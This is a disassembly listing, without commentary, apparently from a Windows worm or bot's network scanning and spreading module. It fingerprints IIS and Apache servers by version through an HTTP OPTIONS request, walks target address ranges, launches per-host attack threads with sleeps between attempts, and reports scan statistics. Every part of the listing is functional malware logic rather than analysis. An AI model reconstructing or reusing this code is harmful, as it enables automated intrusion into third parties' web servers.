		call	sub_4095A4
		add	esp, 14h

locret_412FC4:				; CODE XREF: sub_412F07+1Aj
		leave
		retn
sub_412F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FC6	proc near		; CODE XREF: cAddress:004168CBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD1:				; CODE XREF: sub_412FC6:loc_413088j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412FD8:				; CODE XREF: sub_412FC6+9j
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	off_41CCD6[eax], 0
		jz	locret_41308D
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ecx, dword_41CCCE[ecx]
		and	ecx, 0FFh
		mov	eax, off_41CCD6[eax]
		sub	eax, ecx
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	off_41CCD6[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		and	dword_41CCD2[eax], 0


loc_413024:				; CODE XREF: sub_412FC6+7Ej
					; sub_412FC6+BEj
		call	sub_410422
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	dword_41CCCE[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	dword_41CCCE[eax], 0
		jnz	short loc_413046
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413046:				; CODE XREF: sub_412FC6+7Cj
		and	[ebp+var_8], 0
		jmp	short loc_413053
; ---------------------------------------------------------------------------


loc_41304C:				; CODE XREF: sub_412FC6:loc_413086j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_413053:				; CODE XREF: sub_412FC6+84j
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCD6[eax], 0
		jz	short loc_413088
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	short loc_413086
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_8]
		imul	ecx, 3Ah
		mov	eax, dword_41CCCE[eax]
		cmp	eax, dword_41CCCE[ecx]
		jnz	short loc_413086
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413086:				; CODE XREF: sub_412FC6+A2j
					; sub_412FC6+BCj
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413088:				; CODE XREF: sub_412FC6+9Aj
		jmp	loc_412FD1
; ---------------------------------------------------------------------------

locret_41308D:				; CODE XREF: sub_412FC6+1Fj
		leave
		retn
sub_412FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308F	proc near		; CODE XREF: cAddress:00413390p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130C4
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130C4:				; CODE XREF: sub_41308F+2Cj
		push	0
		push	800h
		lea	eax, [ebp+var_810]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4130F3
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4130F3
		cmp	[ebp+var_8], 800h
		jnz	short loc_4130FA


loc_4130F3:				; CODE XREF: sub_41308F+53j
					; sub_41308F+59j
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130FA:				; CODE XREF: sub_41308F+62j
		mov	eax, [ebp+var_8]
		and	[ebp+eax+var_810], 0
		and	[ebp+var_4], 0
		push	offset aServer	; "Server:"
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41312C
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_41308F+94j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+var_10]
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413150
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413150:				; CODE XREF: sub_41308F+B8j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413173
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413173:				; CODE XREF: sub_41308F+DBj
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41323C
		and	[ebp+var_818], 0
		and	[ebp+var_814], 0
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 10h
		cmp	[ebp+var_818], 4
		jnz	short loc_4131E9
		cmp	[ebp+var_814], 0
		jnz	short loc_4131E9
		push	4
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4131E9:				; CODE XREF: sub_41308F+147j
					; sub_41308F+150j
		cmp	[ebp+var_818], 5
		jnz	short loc_413203
		cmp	[ebp+var_814], 0
		jnz	short loc_413203
		push	3
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413203:				; CODE XREF: sub_41308F+161j
					; sub_41308F+16Aj
		cmp	[ebp+var_818], 5
		jnz	short loc_41321D
		cmp	[ebp+var_814], 5
		jnz	short loc_41321D
		push	2
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41321D:				; CODE XREF: sub_41308F+17Bj
					; sub_41308F+184j
		cmp	[ebp+var_818], 6
		jnz	short loc_413237
		cmp	[ebp+var_814], 0
		jnz	short loc_413237
		push	1
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413237:				; CODE XREF: sub_41308F+195j
					; sub_41308F+19Ej
		jmp	loc_41331A
; ---------------------------------------------------------------------------


loc_41323C:				; CODE XREF: sub_41308F+10Ej
		cmp	[ebp+var_C], 0
		jz	loc_41331A
		push	6
		push	offset aApache	; "Apache"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41331A
		and	[ebp+var_820], 0
		lea	eax, [ebp+var_820]
		push	eax
		push	offset aApacheU	; "Apache/%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		push	6
		push	offset aUnix	; "(Unix)"
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_81C], eax
		cmp	[ebp+var_81C], 1
		jnz	short loc_4132BE
		push	7
		push	offset aWin32	; "(Win32)"
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4132BE
		xor	eax, eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132BE:				; CODE XREF: sub_41308F+213j
					; sub_41308F+229j
		cmp	[ebp+var_820], 1
		jnz	short loc_4132D5
		cmp	[ebp+var_81C], 0
		jz	short loc_4132D5
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132D5:				; CODE XREF: sub_41308F+236j
					; sub_41308F+23Fj
		cmp	[ebp+var_820], 1
		jnz	short loc_4132EC
		cmp	[ebp+var_81C], 0
		jnz	short loc_4132EC
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132EC:				; CODE XREF: sub_41308F+24Dj
					; sub_41308F+256j
		cmp	[ebp+var_820], 2
		jnz	short loc_413303
		cmp	[ebp+var_81C], 0
		jz	short loc_413303
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_413303:				; CODE XREF: sub_41308F+264j
					; sub_41308F+26Dj
		cmp	[ebp+var_820], 2
		jnz	short loc_41331A
		cmp	[ebp+var_81C], 0
		jnz	short loc_41331A
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_41331A:				; CODE XREF: sub_41308F:loc_413237j
					; sub_41308F+1B1j ...
		xor	eax, eax

locret_41331C:				; CODE XREF: sub_41308F+30j
					; sub_41308F+66j ...
		leave
		retn
sub_41308F	endp

; ---------------------------------------------------------------------------


loc_41331E:				; DATA XREF: cAddress:00413987o
					; cAddress:00413F2Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		push	dword ptr [ebp+8]
		lea	eax, [ebp-14Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		push	dword ptr [ebp-10Eh]
		call	sub_404457
		pop	ecx
		pop	ecx
		lea	eax, [ebp-10Ah]
		push	eax
		push	dword ptr [ebp-10Eh]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413381
		push	dword ptr [ebp-10Eh]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_413381:				; CODE XREF: cAddress:0041336Cj
		cmp	dword ptr [ebp-112h], 0
		jz	short loc_4133B1
		push	dword ptr [ebp-10Eh]
		call	sub_41308F
		pop	ecx
		cmp	[ebp-112h], eax
		jz	short loc_4133B1
		push	dword ptr [ebp-10Eh]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_4133B1:				; CODE XREF: cAddress:00413388j
					; cAddress:0041339Cj
		cmp	dword ptr [ebp-8Ah], 1
		jnz	short loc_4133E0
		lea	eax, [ebp-6]
		push	eax
		push	dword ptr [ebp-10Eh]
		call	sub_404552
		pop	ecx
		pop	ecx
		push	offset dword_41EF18
		lea	eax, [ebp-86h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_4133E0:				; CODE XREF: cAddress:004133B8j
		cmp	dword ptr [ebp-8Ah], 2
		jnz	short loc_413420
		push	0Ah
		lea	eax, [ebp-6]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp-10Ah]
		push	eax
		lea	eax, [ebp-86h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_413420:				; CODE XREF: cAddress:004133E7j
		call	sub_412D4C
		push	eax
		lea	eax, [ebp-6]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EF18
		lea	eax, [ebp-86h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_413444:				; CODE XREF: cAddress:004133DEj
					; cAddress:0041341Ej
		lea	eax, [ebp-14Ch]
		push	eax
		call	dword ptr [ebp-11Ah]
		cmp	dword ptr [ebp-8Ah], 1
		jnz	short loc_41346F
		push	dword ptr [ebp-10Eh]
		push	dword ptr [ebp-14Ch]
		call	sub_412A3A
		pop	ecx
		pop	ecx
		jmp	short loc_41348A
; ---------------------------------------------------------------------------


loc_41346F:				; CODE XREF: cAddress:00413458j
		cmp	dword ptr [ebp-8Ah], 2
		jnz	short loc_41348A
		lea	eax, [ebp-6]
		push	eax
		lea	eax, [ebp-86h]
		push	eax
		call	sub_412BC9
		pop	ecx
		pop	ecx


loc_41348A:				; CODE XREF: cAddress:0041346Dj
					; cAddress:00413476j
		push	dword ptr [ebp-10Eh]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_413498:				; CODE XREF: cAddress:0041337Cj
					; cAddress:004133ACj
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_41349C:				; DATA XREF: sub_413AB0+1F4o
		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	edi
		push	2C9h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-628h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp-51Ch]
		push	eax
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4134F5
		push	14Ch
		push	0
		lea	eax, [ebp-358h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4135BF
; ---------------------------------------------------------------------------


loc_4134F5:				; CODE XREF: cAddress:004134D8j
		and	dword ptr [ebp-62Ch], 0
		jmp	short loc_41350B
; ---------------------------------------------------------------------------


loc_4134FE:				; CODE XREF: cAddress:loc_4135BAj
		mov	eax, [ebp-62Ch]
		inc	eax
		mov	[ebp-62Ch], eax


loc_41350B:				; CODE XREF: cAddress:004134FCj
		mov	eax, [ebp-62Ch]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp-640h]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp-51Ch]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4135BA
		mov	eax, [ebp-62Ch]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		mov	[ebp-358h], eax
		push	3Ah
		mov	eax, [ebp-62Ch]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp-354h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp-354h]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp-341h]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	dword ptr [ebp-296h], 0
		lea	eax, [ebp-341h]
		push	eax
		lea	eax, [ebp-51Ch]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4135BF
; ---------------------------------------------------------------------------


loc_4135BA:				; CODE XREF: cAddress:0041354Cj
		jmp	loc_4134FE
; ---------------------------------------------------------------------------


loc_4135BF:				; CODE XREF: cAddress:004134F0j
					; cAddress:004135B8j
		lea	eax, [ebp-624h]
		push	eax
		call	sub_40806A
		pop	ecx
		test	eax, eax
		jnz	short loc_4135E3
		push	dword ptr [ebp-628h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_4135E3:				; CODE XREF: cAddress:004135CEj
		mov	al, byte_41DE00
		mov	[ebp-20Ch], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-20Bh]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE00
		mov	[ebp-108h], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-107h]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-108h]
		push	eax
		lea	eax, [ebp-624h]
		push	eax
		lea	eax, [ebp-20Ch]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41364D
		push	dword ptr [ebp-628h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_41364D:				; CODE XREF: cAddress:00413638j
		push	dword ptr [ebp-506h]
		call	sub_404D10
		pop	ecx
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_413675
		push	dword ptr [ebp-628h]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_413AAB
; ---------------------------------------------------------------------------


loc_413675:				; CODE XREF: cAddress:00413660j
		cmp	dword ptr [ebp-358h], 0
		jz	loc_413782
		mov	eax, [ebp-358h]
		mov	eax, [eax+32h]
		and	eax, 1
		test	eax, eax
		jz	loc_413782
		call	sub_4042FB
		mov	[ebp-644h], eax
		cmp	dword ptr [ebp-644h], 0
		jz	short loc_4136B6
		mov	dword ptr [ebp-296h], 2
		jmp	short loc_4136C0
; ---------------------------------------------------------------------------


loc_4136B6:				; CODE XREF: cAddress:004136A8j
		mov	dword ptr [ebp-296h], 3


loc_4136C0:				; CODE XREF: cAddress:004136B4j
		movsx	eax, byte ptr [ebp-36Bh]
		test	eax, eax
		jz	short loc_4136E5
		mov	eax, [ebp-358h]
		mov	eax, [eax+32h]
		and	eax, 2
		test	eax, eax
		jnz	short loc_4136E5
		mov	dword ptr [ebp-296h], 1


loc_4136E5:				; CODE XREF: cAddress:004136C9j
					; cAddress:004136D9j
		movsx	eax, byte ptr [ebp-37Bh]
		test	eax, eax
		jz	short loc_4136FA
		mov	dword ptr [ebp-296h], 2


loc_4136FA:				; CODE XREF: cAddress:004136EEj
		movsx	eax, byte ptr [ebp-37Ah]
		test	eax, eax
		jz	short loc_41370F
		mov	dword ptr [ebp-296h], 3


loc_41370F:				; CODE XREF: cAddress:00413703j
		cmp	dword ptr [ebp-296h], 3
		jnz	short loc_41372B
		cmp	dword ptr [ebp-644h], 0
		jz	short loc_41372B
		mov	dword ptr [ebp-296h], 2


loc_41372B:				; CODE XREF: cAddress:00413716j
					; cAddress:0041371Fj
		cmp	dword ptr [ebp-296h], 3
		jnz	short loc_413782
		mov	al, [ebp-36Ah]
		mov	[ebp-64Ch], al
		mov	al, [ebp-377h]
		mov	[ebp-648h], al
		mov	byte ptr [ebp-36Ah], 1
		and	byte ptr [ebp-377h], 0
		push	0
		lea	eax, [ebp-502h]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		mov	al, [ebp-64Ch]
		mov	[ebp-36Ah], al
		mov	al, [ebp-648h]
		mov	[ebp-377h], al


loc_413782:				; CODE XREF: cAddress:0041367Cj
					; cAddress:00413690j ...
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		push	dword ptr [ebp-50Eh]
		lea	eax, [ebp-51Ch]
		push	eax
		lea	eax, [ebp-624h]
		push	eax
		push	offset dword_41CE50
		mov	eax, [ebp-628h]
		add	eax, 14h
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 14h
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		push	dword ptr [ebp-50Eh]
		lea	eax, [ebp-51Ch]
		push	eax
		lea	eax, [ebp-624h]
		push	eax
		mov	eax, [ebp-628h]
		push	dword ptr [eax]
		push	offset dword_41CE18
		lea	eax, [ebp-502h]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		cmp	dword ptr [ebp-358h], 0
		jnz	short loc_413807
		push	3E8h
		call	dword_41709C	; Sleep


loc_413807:				; CODE XREF: cAddress:004137FAj
		and	dword ptr [ebp-10Ch], 0
		call	sub_416B64	; clock
		mov	[ebp-35Ch], eax
		and	dword ptr [ebp-4], 0


loc_41381D:				; CODE XREF: cAddress:00413895j
					; cAddress:004138E7j ...
		mov	eax, [ebp-628h]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413847
		call	sub_416B64	; clock
		add	eax, [ebp-4]
		sub	eax, [ebp-35Ch]
		mov	ecx, [ebp-50Eh]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	short loc_41384C


loc_413847:				; CODE XREF: cAddress:00413827j
		jmp	loc_413A43
; ---------------------------------------------------------------------------


loc_41384C:				; CODE XREF: cAddress:00413845j
		lea	eax, [ebp-108h]
		push	eax
		lea	eax, [ebp-20Ch]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp-108h]
		push	eax
		lea	eax, [ebp-624h]
		push	eax
		lea	eax, [ebp-20Ch]
		push	eax
		call	sub_407F3D
		add	esp, 0Ch
		push	offset dword_41EF18
		lea	eax, [ebp-20Ch]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413897
		jmp	short loc_41381D
; ---------------------------------------------------------------------------


loc_413897:				; CODE XREF: cAddress:00413893j
		push	dword ptr [ebp-8]
		push	0
		lea	eax, [ebp-51Ch]
		push	eax
		lea	eax, [ebp-20Ch]
		push	eax
		call	sub_404FE7
		add	esp, 0Ch
		push	eax
		call	sub_404D4D
		pop	ecx
		pop	ecx
		mov	[ebp-650h], eax
		cmp	dword ptr [ebp-650h], 0
		jz	short loc_4138EC
		call	sub_416B64	; clock
		add	eax, [ebp-4]
		sub	eax, [ebp-35Ch]
		mov	ecx, [ebp-50Eh]
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	short loc_4138EC
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_4138EC:				; CODE XREF: cAddress:004138C7j
					; cAddress:004138E5j
		push	dword ptr [ebp-50Ah]
		call	dword_41709C	; Sleep
		push	dword ptr [ebp-8]
		call	sub_404E1C
		pop	ecx
		test	eax, eax
		jz	loc_413A35


loc_413909:				; CODE XREF: cAddress:00413956j
					; cAddress:loc_413A30j
		push	dword ptr [ebp-8]
		call	sub_404F24
		pop	ecx
		mov	[ebp-654h], eax
		cmp	dword ptr [ebp-654h], 0
		jnz	short loc_413926
		jmp	loc_413A35
; ---------------------------------------------------------------------------


loc_413926:				; CODE XREF: cAddress:0041391Fj
		mov	eax, [ebp-10Ch]
		inc	eax
		mov	[ebp-10Ch], eax
		cmp	dword ptr [ebp-358h], 0
		jz	short loc_4139B7
		push	14Ch
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp-658h], eax
		cmp	dword ptr [ebp-658h], 0
		jnz	short loc_413958
		jmp	short loc_413909
; ---------------------------------------------------------------------------


loc_413958:				; CODE XREF: cAddress:00413954j
		push	14Ch
		lea	eax, [ebp-358h]
		push	eax
		push	dword ptr [ebp-658h]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp-658h]
		mov	ecx, [ebp-654h]
		mov	[eax+3Eh], ecx
		push	dword ptr [ebp-658h]
		push	offset loc_41331E
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4139A5
		push	dword ptr [ebp-658h]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139A5:				; CODE XREF: cAddress:00413995j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-654h]
		call	sub_404D9B
		pop	ecx
		pop	ecx


loc_4139B5:				; CODE XREF: cAddress:004139A3j
		jmp	short loc_413A30
; ---------------------------------------------------------------------------


loc_4139B7:				; CODE XREF: cAddress:0041393Aj
		mov	eax, [ebp-628h]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4139C5
		jmp	short loc_413A35
; ---------------------------------------------------------------------------


loc_4139C5:				; CODE XREF: cAddress:004139C1j
		lea	eax, [ebp-75Ch]
		push	eax
		push	dword ptr [ebp-654h]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		mov	al, [ebp-36Ah]
		mov	[ebp-65Ch], al
		and	byte ptr [ebp-36Ah], 0
		lea	eax, [ebp-51Ch]
		push	eax
		lea	eax, [ebp-75Ch]
		push	eax
		push	offset dword_41CE04
		lea	eax, [ebp-502h]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	al, [ebp-65Ch]
		mov	[ebp-36Ah], al
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp-4]
		add	eax, 3E8h
		mov	[ebp-4], eax


loc_413A30:				; CODE XREF: cAddress:loc_4139B5j
		jmp	loc_413909
; ---------------------------------------------------------------------------


loc_413A35:				; CODE XREF: cAddress:00413903j
					; cAddress:00413921j ...
		push	dword ptr [ebp-8]
		call	sub_404F7D
		pop	ecx
		jmp	loc_41381D
; ---------------------------------------------------------------------------


loc_413A43:				; CODE XREF: cAddress:loc_413847j
		push	dword ptr [ebp-10Ch]
		call	sub_416B64	; clock
		sub	eax, [ebp-35Ch]
		mov	[ebp-764h], eax
		and	dword ptr [ebp-760h], 0
		fild	qword ptr [ebp-764h]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	qword ptr [esp]
		lea	eax, [ebp-51Ch]
		push	eax
		lea	eax, [ebp-624h]
		push	eax
		push	offset unk_41CDC0
		lea	eax, [ebp-502h]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	dword ptr [ebp-8]
		call	sub_404FD0
		pop	ecx
		push	dword ptr [ebp-628h]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_413AAB:				; CODE XREF: cAddress:004135DEj
					; cAddress:00413648j ...
		pop	edi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AB0	proc near		; CODE XREF: sub_40A9CF+BCBp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		cmp	[ebp+arg_4], 0
		jz	short loc_413AC2
		cmp	[ebp+arg_8], 0
		jnz	short loc_413AC7


loc_413AC2:				; CODE XREF: sub_413AB0+Aj
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AC7:				; CODE XREF: sub_413AB0+10j
		push	[ebp+arg_8]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_413AEB
		push	[ebp+arg_8]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_413AE9
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413AE9:				; CODE XREF: sub_413AB0+32j
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413AEB:				; CODE XREF: sub_413AB0+25j
		and	[ebp+var_14], 0
		jmp	short loc_413AF8
; ---------------------------------------------------------------------------


loc_413AF1:				; CODE XREF: sub_413AB0:loc_413B43j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_413AF8:				; CODE XREF: sub_413AB0+3Fj
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		movsx	eax, byte_41CCA8[eax]
		test	eax, eax
		jnz	short loc_413B0E
		jmp	locret_413CB1
; ---------------------------------------------------------------------------


loc_413B0E:				; CODE XREF: sub_413AB0+57j
		mov	eax, [ebp+var_14]
		imul	eax, 3Ah
		add	eax, offset byte_41CCA8
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413B43
		jmp	short loc_413B45
; ---------------------------------------------------------------------------


loc_413B43:				; CODE XREF: sub_413AB0+8Fj
		jmp	short loc_413AF1
; ---------------------------------------------------------------------------


loc_413B45:				; CODE XREF: sub_413AB0:loc_413AE9j
					; sub_413AB0+91j
		cmp	[ebp+arg_C], 0
		jz	short loc_413B59
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_2C], eax
		jmp	short loc_413B60
; ---------------------------------------------------------------------------


loc_413B59:				; CODE XREF: sub_413AB0+99j
		mov	[ebp+var_2C], 15180h


loc_413B60:				; CODE XREF: sub_413AB0+A7j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_413B75
		cmp	[ebp+var_4], 15180h
		jbe	short loc_413B7C


loc_413B75:				; CODE XREF: sub_413AB0+BAj
		mov	[ebp+var_4], 15180h


loc_413B7C:				; CODE XREF: sub_413AB0+C3j
		cmp	[ebp+arg_10], 0
		jz	short loc_413B90
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_30], eax
		jmp	short loc_413B97
; ---------------------------------------------------------------------------


loc_413B90:				; CODE XREF: sub_413AB0+D0j
		mov	[ebp+var_30], 7D0h


loc_413B97:				; CODE XREF: sub_413AB0+DEj
